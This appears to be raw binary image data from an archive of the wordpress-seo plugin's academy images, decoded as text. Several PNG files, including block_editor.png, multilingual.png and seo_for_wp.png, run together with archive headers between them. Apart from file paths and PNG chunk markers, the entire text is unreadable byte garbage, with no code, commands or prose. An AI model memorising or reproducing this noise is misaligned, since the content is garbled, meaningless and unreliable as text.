��.:��.:��.:��.z�袋�袋�袋�袋.z��#��#��#�袋� ��.��.��.��7�.:��.:��.:��.�����袋�袋�袋.z��#��#��#�袋 ��.��.��.���.:��.:��.:��.�����袋�袋�袋.z��[�袯}+��.�袋.�袋.��.��.��.�袟-����x��'z֗��8o
(�>U��0affF3��O�i'��q��sz����7�:Ё�h�6Ё���}�@�:���}�@:��@'�Ё�
��^�	=�z
�@�IػM�w�?%�:��t^�qש�N@������H�BD@_6?I�8���E�u�c�����VD@��l-�k��m��g���7q	���Dհ���yST��z��=�b=�e�܁>r�M�J��w�m��	�k@�ӺX����9k�@Wm�^w윥8��f����M�/gk	�j	�@W�tU�ģ��R3t��Ƥ�Ļ	ꏞ�&��P��	��y��&zl���OS�z�ཷ���X�����鉁{o@�_s��$��C�=�LЁ�Ӭ��k_�
"Q��z��wN��Rl��P@aSPr�3�K������cpM���Ӄ��G���B�g��?}:'�_u^�'��@�;�U���ځ�S�\5������ƍj�MBϣq�(���1�z��=�f�W��^�A��bw=ʻ���u�>q ��P��
���A踐w��C�Xj@車�q��BK�����*Zj��@�^���"�v����@U
,5V~' �]��M2��Zj�|
;:nrW>�,Ŗ��'���>CGO�Ds�4��RS-��r�;�g�P.Q`,"e�[j���,�j{�B�.nl6U�(��O����a�BGKy�̆ʶ�<D�M�G���ϋ�X�R�4�T��`�ر�Y�
?>ԋUb�7��!��,d	�^˽���Z[Yb�}�����&�Ɓ�k�.���/�@k�%b�Y�j�Vf@��
]KK��v?/z���IC�C_X"PJSK
���ݏV��["Tjd�����v���+����|b�a�� t/*����װD�j:�}8,����cK�U&�c���B_����,�(���Ѓ3�
=��>�cK�*�����qQ.t�-)�Լd�n�@�h�d�K,��� o�\�G�)���|��#�
��m
�}h����yC��I��|�%��
s��BGC�C��ލ�3t��t:^��>�w�*���-��@UB����J�:q�BG�Z�+[��R�}�5 t�Z衭M��ƻ���m��Xj����5�v��q���/-��:���:Z�T�a���v[BǾ
ZX���T��u�6��NOM̢�˸�&B�wݦ����b[e��F�:k3�:Z*neq�O���<��?�����؂H��hC���m��*cf6�hmXj�M�~w�<��y�El6��V�*��-��#[����و�0XZB��8��2��
9���Z��x�|=(ZfY�C6���6��
�7�? t��9BGʡ��t:��l9
�ڱ�A�x��λ{v tTp�Z8ve���yQM�v]) t�T�SW-��]�BG�B5s�t���ѺU��Q'�l88�ͅj��7'��w�
A�㜳)X�a	�(�����U��� t�Y%8B��:B����@�B:B���Ѕ.t�N�]�����׾�Ê���G�}�\ڇ�u�{��ڇ�s�{��ڇ�K�}�<�;��c@�FtzyO���A���nD�����^�k@�FtzyOi�s�C��A�B"t��G!:Ft��m@�޳�Ѝ� t�Y@�Ft+�=B�QH�����ϊ t#:�ϊ t#:�ϊ#:B�QH���;
	B7������A�B"t�D��:�B"t#:�QH���gE��,�q���&��IIEND�B`�wordpress-seo/images/academy/block_editor.png000064400000002641147510273100015401 0ustar00�PNG


IHDR���hO��PLTE��Oc�|O��F�uS�[:��y�U'����f�Jgs� ��_�i�-naJ�]u�x�g}\d&~�f�X��`��f�X�K��M�zr�Z}�@cl%H�eg�Mp�9\yRJ��;�eX�Ta|CTp9G�\Y��\�vP{uB�qX��>w�'�phqk8�]`�CfoH@qb:s}3�W�IDATx�ۅ
A���9��@��*Lc�,�o�{
��;��V>�jڦv���gJ�+^�*'z�J�(P:�t@��A���J�(P:�t@�t@���J�(P:(P:�t@���J�(�(P:�t@���J�J�(P:�t@������J�(P:�t@��A���J�(P:�tP:�t@���J�(8���J�[�2X�df��=pN�Y�F�dn]�J�(P:�t�P:�t@���J�LK�{���-������v���K?yW�K����W��A���J�(P:�tP:�t@���J�(P:(P:�t@���J�J�(P:�t@���J�J�(P:�t@������J�(P:�t@�t@���J�(P:�tP:�t@���2)P:�t@������J�(P:�t@���e����"E{�>�؍��ܺn�(�(P:�t@���Jz��e;m��v�m*�{:|�,��[��=@z�J�(P:�t@��A���J�(P:�t@�t@���J�(P:(P:�t@���J�(�(P:�t@���J�J�(P:�t@������J�(P:�t@��A���J�(P:�tP:�t@���J�(P:(P:p~���&GJ_����P:�t@�t@���J�(P:ОU��G�����5�n�V�P\�����e��;�t@�t@���J�(P:�tP:�t@���J�(�(P:�t@���J�J�(P:�t@���J�J�(P:�t@��A���J�(P:�t@�t@���J�(P:(P:�t@���J�(�(P:�t@���J����&3>^��~�۔z���W���J�J�(P:�t@�ҁ)�����o�,}��;p�J�(P:�t@��A���J�(P:�tP:�t@���J�(P:(P:�t@���J�J�(P:�t@���J�J�(P:�t@�ҁ=�߰*��IEND�B`�wordpress-seo/images/academy/multilingual.png000064400000031670147510273100015453 0ustar00�PNG


IHDR��!J�ztEXtSoftwareAdobe ImageReadyq�e<3ZIDATx���p]��'xcI���-����Ʀ��q��1�J����tCȺw3���wk	�d���v7M �v�Ǵ�� tHj�SI�6�I�c�1rD�
�֕e��+��=�e�d�z��9�|>�R��}����~�{.:xx�, �f[��w@pw���@pw���@pw@p�ȳrK����	���<�����;P���-~����`msru���)�B]E�3	�#7?���ܘ9�|�`c�P�a+�r�ë��A��8�����='ֿ�sy��|�Ke��2�Y��E������� ʯ�*c�@p.�_�ش�k���E�A���8P��5��q���A�_�v��z�K�;pz�Վ�~�q�T�_��
G�6��g��Sk�f6m�]�bЋ�;�4��|tKs��a~�A�_Լ���@u�Ȇ�7\�|����%.9X��c[Ÿ�ǨLw.�R�_~����ڃ�JӞ�}� �G�)��Ap�mKj�u���@p���n����r�i���;�ߛ�c��oے޴9�Vw�� ����Ho�O����<Y���ͦͽwn��@p���sb}�C��'K���d������;D��G���d�b&�����׾v��{�-�;�&;���Rz��SR6л��;FZ� П�}�sk����Ⱦ��]�W�C̗bQ���{w��������Ԛ�2�* ���
���O�S�@�ߛ����Xߢ�=t׷�m�ǫ�>r��b|vo\0��sݶ�@p�E�nx�wv�uf��x���"{س����?Х/w�!;dRW�
�C�sb����.��0�WW�l�\����D�g~��-��{�a��19�R�����{�|{�֤�H܉� �����Կ����M�zl%p�������be]������/?~Y�.23�f�`�Ñ������?&�?��a4��ڇ�����ͽ�?���;a��/dGP�\��W?�dn{qO�ԃ�݆� �rUյ�s�����,W7$� �"1��Z�ka��ݱ�y�y�v��_Jh���P��/���"�W;nz���(.�5��\Y�Uss�'��A|�~��L*p_�ÿ��8 ���N�Y���?|�o�����~�0�3�F��1Dq*f~��?\D������Ρ��	.V6�{����@U�w"�3?{b��K��o�tw>6�~f�}Ks��Q\��u�_�H��WV��!I�o�ϗ��߻���Mp�;�ݘ��1�Կs�ҝ�_��0�{y��=]�Ft=k~�쿺q~�"������w��?�5�A|��@p'��̌�dn���� �_�/.��v��� ���-~�����_�#��~��?\����0��`��4��>���3�;�D�h����}I�9��E�nroe]�ӷ4LP�ZAp���7��?.j޹|�"���N�%k��%�/�s�Z5�����~No&�����k^��2�9��7\��]^z8����}�U�X*�����W�n�c5F�Ս󃯪�"�,U�ݳ���K*w���,k|w�ėok-��;�d�@p'�+O,�<�2�|x斋��u5%�tV֕�}e�{�/9t����6��Μ���Wz��N��'9X���u�"H�an�����>�j�@�_��/�|��w��̛o��2�NXL�@��W7ο�õ3���������?.Z�x��P����L�{�����ţ��
�;!�Uﹲ��[f�������]�v�R�1U[[�y�M��c���_ye�W~d2�t�*���atMcū�\0������~d_SӅ�_��CE܀���
�d.��sݛ6��P��ٖ��H��G���R�虛/�vj啝�|��ɤ�@p���U��L��I^���e> �#��ŗ?RMcŴS�W~d�l��W)Vv�c�dc�����y�-�2�Ne��_}=��D����O�zs��*�'?2>ޮݻ/^�z��B�ì���w�yo2Nt�k��Qv�	����#���ikk���O�䮃�Or�<�6�4���v���)�	}v����%��''��u���x��������)� ����wžݿ�Ͽx��K�	~�#�ӻbKK�$�F�Xp#�M�Y���n�J+�뻪�;R���;a���o�=�%���W��ʪ�]��r�������0�:��֦;�D����M�-�������vdS.��s~S��a��S�|���+}�!��m���~�d��=W�L�mm�9<�4��6I�8��SO�@p����o�v�%���YYW>�����>����dl�bvOt�����G�"c�������Ͽ��g��UU1-^4ի��R��?�;Ḓ���������Ӟ�)�/��U�e&��!��\�3ߣ5<3�r���dJ�T�O�z��:o{b��P�=�:ַ�Վ�^>�����?�_6�m�E����'���v�j>P�ޑ��+���!���m�{�W��t��ĵ������/
�rU����/��ի�w����noxw(����|��{N�n/y���s\�����~�~��=����ru�ঢ����[��;��z�[�J�G.n�>F��jf>�m۶\�ঢ���=��6�zo7N%�����l���;��Yg�[�c��o'�����dm��i��~�����b�Ị2��.7�����g�w|���D�{�HE���{�J_ك�^��^Q��Ĺx�?��C3����E�n��}{�z �C�f˽��[�dT&k�曦�݃+W��+���jocw(q�=��|tKi<�;����G���Lp��*9�/"�2�P�����E���gm�|�߽��$�xp���!�koko���M�7<��*�v�t��.���K���_x�]�w�?7��ŋ6�tӶm�B5�~Í3��Æ����[�J���"�Nue]�;��{O�R---�\�z��g�����c��ć0#�l����=���c�AL_?݊��������5We���	3��Er��X���>�����J+	����ѷ�+V$��h�}��@p���
�k+�����[Ow(-ŭ�5��'�M��f~#����� �C�x��7�����zof�#6�ܡT|��}!T���S�T���1ww(	E��d����\ݔ�Sܡ���}��i�@p��SN�v���M�q@p��I$c����j�=K��;D[H* �Wv��r�
��Q�2������;D�
�pڵkwn�d�*-,�;DRh+ �L��ye��v��0W@�̌��ikk�a��m* C��g����j�@p��QZmm����DBp@p��	y�Ɂ����i�w���W@���m���ѣ2�~���;��
�1bX,�k��}MMޢ �C�+ �x�+^�2�T�+��@p�,������*w��hU@���W^�Y�3.UW�Ƨ�" ��cħ�����?Q�;Z�bЧ��.��c����J���C�d@p�D��pr(�����mm�ޟ ��iQ��<[Fe���---���+|�!�"Ty��?8�+?R�V�88�B,��G�%;�^��hl�q@p���V�%9�=�R�S���`�'�8(�DQ�* �(���Ѩ��k���!;�DϞ�U9F��y����[��~&���@p��z��/D��v,S2���/�x�g>[���5W�� .��1;��
�1J�2;Ծk���>;��F��o���gQ��A^R{N��|Š��;�N��#Z9>�_�X�G����Ï�kj
Ã����!t��-�����pr(r�=�J=��3Ͽ�bx��R;�;���?T2��ͮ�O������!�1gsd*�;�N�+ ��������?��3�v�[d� ���h �C�D�r��W������+$���
�W	��&%P9Fhw�w�ڽk���n��m�u�>�"�Q9�k���_V�Gd� ��kj�D^?+���t �C��L�G��E�����	�z�=�)�hN�B��* �Eb��+��}/'3#���sr`�3�ޒ��v��۩�O�O�����}@�!,J�r�<���R�}��2�������##=��W͚�50��g]�/+{3u�*#�z�6��t �CX�X����r�#;��=�t֙
�x�9/��̃�y}W��/�':�"�z��!DJ�r�7�3?jSS��T7����T�|�a�M�{����
���@p��(�
�s��� �?���Xo~�rӂ̓d��U?�~m��gl� �CX�j��>>5�J}��'�첏��I�o��?�Jt����&�V�7૫G� �CX�j��;>����{��7��xZf��wn�	��k��;������$�۸`h�UA�^�rp��ng�ު\-�m[�> ��E��
�ʱ�E���b�d����)]��Wv~��G&y�;�&� >����;;��c����觿����`g�v�?�p����
� �C(|�gO�p���~j��ϟD���c�g�T[x�l��_~�.H�Ӿ�M�{���g�x�m	�Ү�o��2�_h���A��]��y��?$>����R"�az�0���;�L�W@N/����^���R}؞��"�ie�M�{
� �C(ġr�ɜ����e�s�c$:�f2��'�WN#��n@p�P�I���C'3ȯ_y�љ���/����|d�)M��n����I�xo�?�̳---3���!�!|���d#{u���v�	�c}�v�+��}��J��>͘?�Y�vO���OMf`�-i�� �
_�Pl��ǧ>�‹<��$=�dCf��~�*���-)��)��U@�q��\m�g%:˞�1/�O�����v}$�Kq���dvߵkw��۳^�U�Z�����{u�u�k�����N�Űr��}����SO6�p�=H��}u�����N(ij������J�v�ڝ��z�k�w�"TO��s������m�ov��ٷ�)O���;�����~�Q�۶�η�;T�+ �8��-��Ԕ��[v��D�;�&�1@p'�\9ޘ1���w�zw!�w?;������y����|<��}��ܡ�=p�E8_pokk/̝��_XX�ȳ��p�֤�v�	���ni��:���1����B�SO6�����}���;��x3��N($k}�v�9�n�'���뻪�86�|�t������ �";ߥr�����;��� ��_~���[���lX�b�Nx��NX�[�K�E��KuA|߷��`�����Aj�K	52 �"_uL�os/�Dg�u�W���ve��9R;LF�%�`��X�j�M�a�9�wMc(��T~�@嚵�M�{��<���_{�'�v�	��ڱ̬�B�x��|=�cަ����9�W������N����Tp���x�����6�j\0��̚�� �;G� �Q��Y�β�;��'lrD)� �S
�Wֆ}�nے2��;�F�|�P�S��;ST]=��s���J��N�Q9%o&O.�M8[�׃�n<wJP�+ �TU���.�S^>�,���5�h�K08>2<2�w���L�`�s8��fY���v�)q���bz��9g�W�g�M�bU5�>�P:3D����Tfppxh`(���P��wnM޶%e�wJVN* ��TV�V��^��yfo��~��840���|_*��b��w����wN��V�_�M�{���Ӹ`؛wJ�L* g���tu}U��'�����Ü��9sO�3C5�ޞ��t��C5��C����J���:�Y&��;y4�
�Ѽ����<�����+�9�����|/X�o�=��� :��[�����{azd��{o�=%���N,L�rNUżƺ���B�O^�����y�S�d�h����?l��?����k��|�ޑ|������M�{�{ �.:xx�U ��Ó,��k���X�=� ��J�����ˁ;6��e���j>P�v�̧h��*�5k{
�;����{~��d"{�����9Օ
|��g�n�g�Կ3���ޑ����	���^�������5#k�X�"�4bT�ܻ`d�#{�����wIm��{s�ꉃ{���1��A�O$�~���G���	�;�����'�Ϗzd?g|�>�����4ifӼ�!�0�	* ��/\ڐ�.����$�.��<zb�,�3�Ɖ��Q��N^����������q�S��C�=}]m�f~֙��
(%�-�r�
�9UKW_��>��~����k���M�����W���pi}�ڣU����ՙə�>�`���o�twrkω�g��5����h���r���fr�=]�zk�;�tv䜪� ���q�S���;t�%�,�?��7������NΜ]Y�P�t��3)1�k�76s�oQ�e��8����K��xU5�K/�θ�Mw@p'7F+ ,�8�C�+�Svه̝��RH@p'F+ ��^�PmA.�y+���C�j&����Nd+ ��)Y��a��
�2���e+ ��|gw�2��Ό|��^���������|t˯�wR{��w@pg����;<���R�<�_�Ԫo8>ܙ����K�Z�\e������;��6p�����C�>�e�/x^U����Δ=q�k�'Z�}v��o�t��0%�|���G�C�ͩ�X����i@pg
�\�ܩ�[�<�k�>_ɌFH@pg��#�'��yu��y�s��������ԽCK�C~?�e�.m8�_9>w�0C2SUS�p�9��=ֻ�������_�Ӱ�~���i��~���d
l��Ls�� �Ä����B����0�F׵�w8��z>�ԢhXX?�t���������N�^�P�s��5֞��־Ŗw8��>�� �[�b�wI�ٛ�e@p�sxwp�ߧ�Z�b~>�f_�x������2��G�!����P
?�V���;��2<j�F'�ew��T@��SZ6{�^ƴ���!T7���1�q�>�2�����ϝ�L �C�
�Ъm���L �C�
���[>��9�@p����U���`����XSru
�QmN�� �_* �oNUE���c��O���R5�U�e@p'���
�H���T��;1u|h�������� �G���?-B�^g@p'v��|Ld�V^b@p'v�~��2ט;���w������9U��@p'F�#��|�:D�C[6�ch�u���P]��,� �* #-S�`@p'T@Fڻk-�>���ܖ����N����7{?b@p�ĩ�,�ϭw�)m* K�q������dt� �S�T@�D�
�R��� �S�T@��_��� �S�T@��9s+,���;a��$5�\n@p����,I�:��;�Cd��Kg,���;a����[d@p�D�u��Y�R��+���NIx5����֡T
[܉��H��s�K֡�

Y܉���U	 �jLJ�>w��JY�.H�)�dw����~��֡�eϾ���zK�;Q�2�T���N����MpW)�;��2>��
�;ѥ2&�-�D�
���	� �Y�d�c��"��N$������w܉&��12<b�w"Id����HR7��;�D�
��S���"��NĨ�����a�L���1$7鞾�����Ś��Nة���dw��?�U��	
ȸV	�;�2�����;�p* ci̜ �v* cȜ �G�
�xJ��ݾdn�e���z�Gj�ep��ܫw�	��2���V�7�>�]�(1$O=	}����������u�����tf��/��fq@p't�#����x�9��T�	����Zj�fdx�y����y��oB�}�ứ��:�Щ�T���Wk����X���tޒ��qD�S�?,u]C���N�4���yj�u��	�����y��V�Co��V'����S�zWY���v���w�!5\�L�-�!�.��^_��J �/v��>�`b�������B�_8q�u��������Ѡ2��w�Գݰ��B��N񩀌��t&ٝ���
* c+�zr2۸���"S[������\��b�r��N1�������L�g����b �SL* c��h�����z	w�Ldl�{���I^x���;ť2�F�G:�vO���d@p��T@�VW۩I�d-����;ţ2��=}S-n_�`�w�Dd<MuH��>�����Nq�����7Ɍ���_�w���ĭ* c�T"5�&�Q�l���N1���T@��@�`W��i\��Vw��O��������u���X@�)����* c��h�@�����T�)�ot|�"���F��
� @p��v'ת����tfz��Yp���{���+C��Gf4���T�)4�q32<�~$1��1֚���BRC]m��}@�����N!������=���odYM�9S@p�pT@�M����#��
���N!�����t��艜��ƅǬ'��
�X��a������N���������w;gX#3jYM2��� �S* �#'�g����2V����Ι�?�7�݀;0T@J�3
�v�@p��Rj��u����T@�DNN�:�F'L�P�G�g~z�s�}�!��y�Rj�����w Pn	�Jd��j;���>��v�a��2�=G��M$�eT&�T@J�3g���K�Ԟ��~��"c��=�T@J�3�{�d�����h�]��Ty=H�Av/�}��F�qϋGZ�Z�}Ʃݜ�[v�s��7��,I��ޮ���I����{^����I�jJ2�w=Q�{4'�y�v��''F=�m+���|ilx��J���H���=}�_s2��G�I-1C��G�}��"s���y����@f�m�Z@p����m��^@p�����m���e5I� ��
Ȓ12<�ng��϶me���Bdi(�P����̶���=T@��S�TW�ɢ?���{�8&5���~NK��Pu����?Qܡ�Q�/9�T@p�����Qۯ���y�2�B5��n~b�V/
 ��
���Og��
գ���y�2����tw��Q-�Ij���SEC��G!9ue2���I��S�T���\�|N�tI}; ��
�h	�q�c��o��+�9f�=B����pn�g��a���{* �"��Y���=�T@FE�7ڳl��{^��}�
Ȑ��F{��v@pϽ���g:o�a����j;���,����Ot�aBkh`��艾t�v��t�^����cM��v'�Z�p�>�s*���F{ֲ���v@pϽot|�"�P:�h=Γ�N�u{�|��c;Omh�_lBedx$����qa붕N�
�9��z�v{�D� ���v; ��
�P��j=��P�ض����^J@p�%���٘Q�����{* C"�1��芷��$����K* � ��1���v; ��
���j;���+�g��?��{���,���S]�RzR�I��SYD%3�~���̟��/. ��
Ȣ�Og��*����?����sIdQ"{wGO���'p��C��W�sLd!

w�Iv�K�	�Wd���^h@p�1�"{n���PY�ҘS�T��:޶�
��{�shYMR� ��
H�=����d�=�T@��9�������{����sh��������S)��J}E���=Rdϡg6m��P)��ʟ_��z3�{�se�ʃۯ���rL�L��짓�n~Bk; ��ˋ�7�6xL�@��DJdϪ��hm�|	"�'n����t����/-��ַn��u��x��g\��dw�Dr��R����\K��/M��v���埌��ӑ�+540d5��~�m+Z@pϗg;o��_���d��c^s>Ad��k�
�y��Ԇ��U^�	�3A^w����O<v��� ��
ȉd�dj���ߵ��G* �ih`8y2�$J�O���=�T@�g*fJ����?���=�T@�I��jj����U��2KW��2��J���^q��t�����
�tO_��7��.��{ĭ������
HS�R; �GU* �O%R�>[�R; �GRiW@1={�$]�R; �G[�V@:�4�����_V����^ �W9�?��N;�4���[7���A��^(�T940���;Օ�͟�[���R; �T	T@���{���ƶ���G��*��鞾ޞ�dw��0�t������^h���Og�g95�^H�]��m+Z@p/����Ѫ��r���7�^`j������	y�R��Ŵ;�6��يgM*�ۗz�+���y��y��9܋��ĭa����C��"��?�}�!K�E��
OdӃ��>�'��Ǻ�� �;܋쉎O��񦡵m�?_�����Ȋ[ٟΜ�_��C)�Ad���P�
��M�/)̌��{��2���ޞ��tF^9�1��.��̖�d�7M��
����>��׳�k�W}����lժZ+�E��
��}��r���8��'O�Lu��q�pa��K���z��U�W�μ��r��
ȑᑾt��zD-�Ғ��:��?�|��['�\u&���z�G?v��B��C�}�n�U��a����>��O���]=�����[/����c-��?{����F��~��Q�c�M��>y55�A����\b �s�#ۧW&��\ϖ�{D�7��'�A|��3�;�����fJW��^zr��~>V����B|���e2e2��}���ғ��v��s��ĭ�t�r��͞#)�}���S6лd��5�,����W����������|�춺������?�Q��,����.���W*�
/z�㉎O��v�0�Q��\�wG܋�0~�Ӯz� ��~
,b;��
���?�N�K����������<$[�@�E,v�w����V���"�Ɯ��~�u��}~q��w�0"����~r�2/[�d6���
g��Ҏ�O:/���l�wQ�μ���7?��:�w/ ��O޸�V��}m���g����|��f��g=�����󂕰Ў�O2�z7���|Xv�$3�=����M��V�����ػ���@ԟȪU��;�'�#�(�����T���O���{�@j:���C��i��b��O�=��{�J2�_���Z)=� ���^_ �"��d�cRKJ}E揮xk���+~3k�fP
�]d�F���(��Rd �]��@؃{�`��~y�W(���$��޿m�A�����
�HG���ٶR�
@�w��qa붕�";@\��
�ȹ}ɡ�W�߸��R�%�����m+>�nϲ����WpW	AR"����w��g� �]d�e����OX
�X��~�a�!��@p����u���f�ʃ�V5����ō^���� ���O:/���U^���� �O�?4�n/�u�ۯ���ö���z��<���(�e5��[rh��N� �_@�`�����ܾ䰑�}
T@��Kݵ�`��R�S��`y���2� �O�
Hy��w��:�I��{pW��~� �߰�U^�sL�e��7.h� ��
��ٸ�������OX
�=�T@NIvf��c����R96�(fpW9���uG�P�����a=H��?[��U@f�WdnX�$��[rHX \�=��A@_7?qfs��:!�1��4@Ă{|* 7.l�aA��	���^���m�u��NO�xK��^b���u
]7���Y7�˶:%ܣ~L�hR_;?�n~´:%ܣX�m�Y7�KR �=*��.�Nf��M����
��n��J[Z���@��{* ����Τs1��
_�qa� ���ZZ�sfN������Z��G���g*'Ǥ�|iM2;�r&�'�+��Ox��s`��ٽ�Yg�W1�M�g�h��CӍ��<��CB7.<��Z�>L�E퉇���lK�; �������; ��;����; ��;���� ��; ���� ��; �������;�{����o����QIEND�B`�wordpress-seo/images/academy/structured_data_for_beginners.png000064400000010325147510273100021036 0ustar00�PNG


IHDR��R�$��PLTE��T	<!i;xC???������Ya�������#-�1:�Zb�LU�v|�����������?G����ho������ɻ������5yK<%
�[zS-<)�ֹl�t����Ȣ<�F����w���ٳ�����Æ�Ҥ��h�+�J�����Y�:�ʕ��Ѱ����ģ�������������򽽽��������׷������������}D�h92���IDATx�ӵ�@����:�!�!���G\%����*D�� z�_�B�3�^�\!�E�E�E�EGtDGtDGtDGtD�袃袃�#:�#:�#:�#:�#�� �� �� �� ��^�lՈ~w��[բ#�� �� �� �� ���#:�#:�#z�袃袃袃袃�#:�#:�#:�#�� �� �� ��={��ܪ�Q��;��@0�i�W�]79q,l@Hg}#pgUQ��N��9B'tt��a�_��_�B��|�|ku:�<s5̄N��'�%��!tBG�� eG脎B7I~�	�ЛF��y�:=�3��	�q���S�:�7�Э��ЛF胔��ҟ#t�G�nҹ��c7BϢXޭH t�E�^
�;tXB�N��I��r�z����bK���+���A���;/��:}�r�;���J�{�У�����:NB��"��Bϭ�nҫ���B�VB���`� � _���b�����o��B��;��BR�����B/�H�����^�I�p��]��B/4H��&������ˬR(�fpW����L7r��K� �cئ��*:��9.�ipW���ˬ"���C<�g:���܃<�^�����s��A��n7��H� �cJO�~���B/��j37�U6�B/�yd��"I���A��*�J�N�A�M�B/6}���?�X�\$t��:�m�G%��1:}����6��w����3�>#�7��d�<zc@�Av��- �E^`	�% �Y^��! t��%��л�U6�B�vpW��A���:��]EB��;�+O� �3����ʆ�A��񲙊��Z	�~+"��8����A觾�}��]EB����K�7����A�'_֚L��]
��A�'��m��]��~<�(�,�w�'B?��$���` t'�I���,�����x�Uw5:�����Uw���@�QH��ல!t��϶������l���1@�^~���w��~���m�SxB?�dy*��ǂ��q�B7IJ�W�j%��7)�L�c�����/�#"�kw	�= t�{jA�4�;@�Vv	��]
��A�^ʜܕ��	�~��y�rpW���/��y�ppW��Я��9��we	���Q^��e����
�}�\c$t�~N��E��ʆ�A�{MYޒ�E��
�B/wЂ��we	��O�����*:����1ȥ<���wX�I�:��,�Z	�^�ei�#tz��Y��A�EL��yB��ؤe�!��@諴m$�@�^Z7� t+͋�B/8Xk��6t:�����$]	�1z�>����ҋ@��н��v:��]%B�}�ғ��A���_AA� �(�Y	�+z��8B���?��?���#O� 􂃵~�8B��,}	���'���m� tw	�? �U:6�?@�^z6��@�N�6:]ֺ��nC�3�����LJ���/v�؊ �����_�D0gg�po/�_�O��#t�.t���B:]� t��ЅB:BG��#t��ЅB:]� t��ЅN.��.t��A�B��ϧQ��N��I�^� t��ЅB:BG��#t���:B:]� t��ЅB:B���t	}������E#��3��[��u#BG�BG�B:BG��w�ЅB:BG��#t��Г�.t���:BG��':]��#t���:B� t���|�H���B��C�B��#t���:BG���	�.t���:BG��#tʅ��u:�C?����B:]��#t���:BO"t��:BG��#t��D� t�#t���:BG���#��1��Л�g��8��:BG��#t������A�BG��#t���:BO�Ѕ΅};ɑ�0��q�2�����zF�:]�ABz�2e��|����'��
�6x#C����Tt���lls2��?lG��=a6:Z�x�3"?����݃��AK���.t�+}��t%�
���t��y�ʓ��
��������%�*�y�VЕ��t�-�@K�':��t%�<]~KF��@����N�'�J�#x��@K�QO.t �+�J�Y������%�\�(+��OЕ�G�v́���QO.t ��
:��Ň'��0��~
[9�ów���0���ut�v~
�z�S�Kǰ���Dx��*����kB�-��
���ʻBL���оaK��}�y��8m��m��'��]�����4e�4Y)�����G��}Q�����n�=t"��H'�F�9?��+AoK'�Do�N��s~XAW�ޖN҉�x	���l���
�tB:A'�΋�sNz^��t%�t�N<q^�C��m�VЕ��	:��>��D?�VЕ�x��tb�$}4Z��~������V������!g�f�_��<AW����^̃69�_^�P���]ګ�Uo]�zf6��3o2�w��C�g�+{��꽠��@��;�_�+}{�g�����@�hn^^/���ѷ\ǰ��v��]�z�c���|,��{��v]���п
��
􈽭��x[o�OLz����r|{�2B�����ο|tu�i������[��0�4�|�>�;������1�u}��2AW���]��\*�!�
c�������z8�=��_���3�U}~W�A��m�;�j���t�N�SY��M���~��	��c-\�R��^��ߚ���@����'X�T1/ԭU�hU.�5�wtU��1�U}���tu�!9e������&�r#�ԭQ����ch����>���(��>З�y��α/��zu�F��Ho0�ƕ� 1����,�m���/�'X�6���o���Ut�����]{��	te��1�AWF��t%��O����е�!:�J]S�g�.е�!zF�]M�g�.�5�!zF�]�8DO]����I]���:�k	�ٵw��o.���W��g�ܾ`�ur�A�5B_;��_��@���9,��@�uB�����
��N��5��x�u-��J���>��Z���p>�!:��Z���W��.Ы�>���!:���?�n׶�*�����ކ!z��:�����T5t�z{����UA��g�<~����O��e]���}C�ʡt-A�����@��Х��׽z�]���T=t���lz	Ct�z���)�	���-���C��.�4�����z��og�.�A�:�;o{��.г=zi�����.��=Lq�'���.Г4}=���B�ݳ���+�[\\@�}���%�}�Ct�z
���&�A�i�����=�j,�'
t�K�_t��*�A_�s]=U��^���d�z۟@O��?�,�z�o-��tЗ��l��t���,�A?���k
t�^{h<�A�}�l����z�@}+��t��zʚ8D]�gl�Ct�z��e�t���1^�=g�{��-����wt���!����=��ֺ�@OX\hY@�g��\�{�wt�GϷ�>4q�t��0�����+�A?�[�'Г:�O={���г:�M={���M�gtУs�3:��T@O蠿K=w�����܁zs�z�@}^_C)��ͳ�<{m9���]�.���~i����(ތڠ!��v;�舎舎� �� �舎舎舎舎�]t]tDGtDGtDGtDGt�gO��Ne�ʢ�)�������������� : : : : : : : : :��������������������������֯-=j�LIEND�B`�wordpress-seo/images/academy/seo_for_wp.png000064400000017257147510273100015114 0ustar00�PNG


IHDR��R�$�PLTEu�OpJgb�r�Mk]�p�Wj�Rue�_�Z�Uzm�h�(��F��P��2����Z�{x�h��a��O<����[n�n~�@��0��d�tp����������P�˖�U���
{��������`�Ќ�X.nap�V\d��PJ�\��S$eb ��T�[���z�U7w_]�YSeA�^g�X��p����憥�Z�������e���������R����Է�{g�z�V��Tcpw���Ue�
7�eIDATx�܅Q�����{������E�����
b�:czw��л[���&�!t�i��Kw�}�C��!t)�c���9ʇ��B��:Fk�1~:Fk�2�5��9P>t��:���CLJg����덽;�K�I�8^S��+��h��l�h���Dq�Y�ZfO�	��mj�}��tu=Uo�JK�o�TZ�ZA+VK�k�e�l}}y�Ąg�y����.9ln-����^@e[��#�;��Q^[QVkA�Mjƭ��M)bki�k� �
�Da�i�wR\yi�j
=�j��g��2��F�k�y�����q��Q7vJTk�@�ۉBո���w������(ԍ�q��ܤZA��N��� �뢠��o�AO�JȘ�N�6z7d���#5�&��z-\��\��~ �p%�JC�{wh��n�}u]�8zo��z�}�!��د��/у�>د��D�hHXma���B�;��'�oA�(���g��׺1��zǧ���z/��$��tc����knIDGg ��Do�%��VX��m���)��[`у�[��7$:��^ӗ�����|��6�9�fA�M�s�s��^�X��s��G�,����\�9�V�P�˜�t��Y���
u�m%zYfϙ1�o%��̢,`�S_%��̤�C,\л�J��G���?��VLn�
�l���W|��e�lȁ�w�m�@��..������AWm����&��ѭLtl���Z���lH<����x(��A�)ѷ��ŽLt`�Ly����=�_�$��Ȳ�׺s�pJ�u7`��z�K��&����r��G�^�x.�I�L��}�K�^�h��d�!�f��A�(�7$��q�	I?:����Do6��|��qXРw}�����F�U`�.�=���s�U��[����D_�Y�e���oZ�}�C��~�d_h>��]\��}��2T|ҁ�;��7���$�k>�X���<�����ĩ}�h�Z&��D1'���ұHA�P�oD+��#�*`����g���s�q͉w,P�S�%�~�]�*�%6`���Vf�	��D犆
����@/���b]\ۛ᭸�dڠ?Z���DߊS�k}�o|��
z�}�ޔ�7�֘�ذ0A�y-���;U: �}%���k/��Y�c1��v_�7��\qQ�}w,@ЫJ�Ś�K��w��z�C���f��P��AOݗ�f3|��v%���x{���}Uº-�����C�;n�o�~��,/(ؐ�����/�s�b����@лJt�9���K�IG^sqm��b�~�@���E�{JtS���Z~��N,ʻ
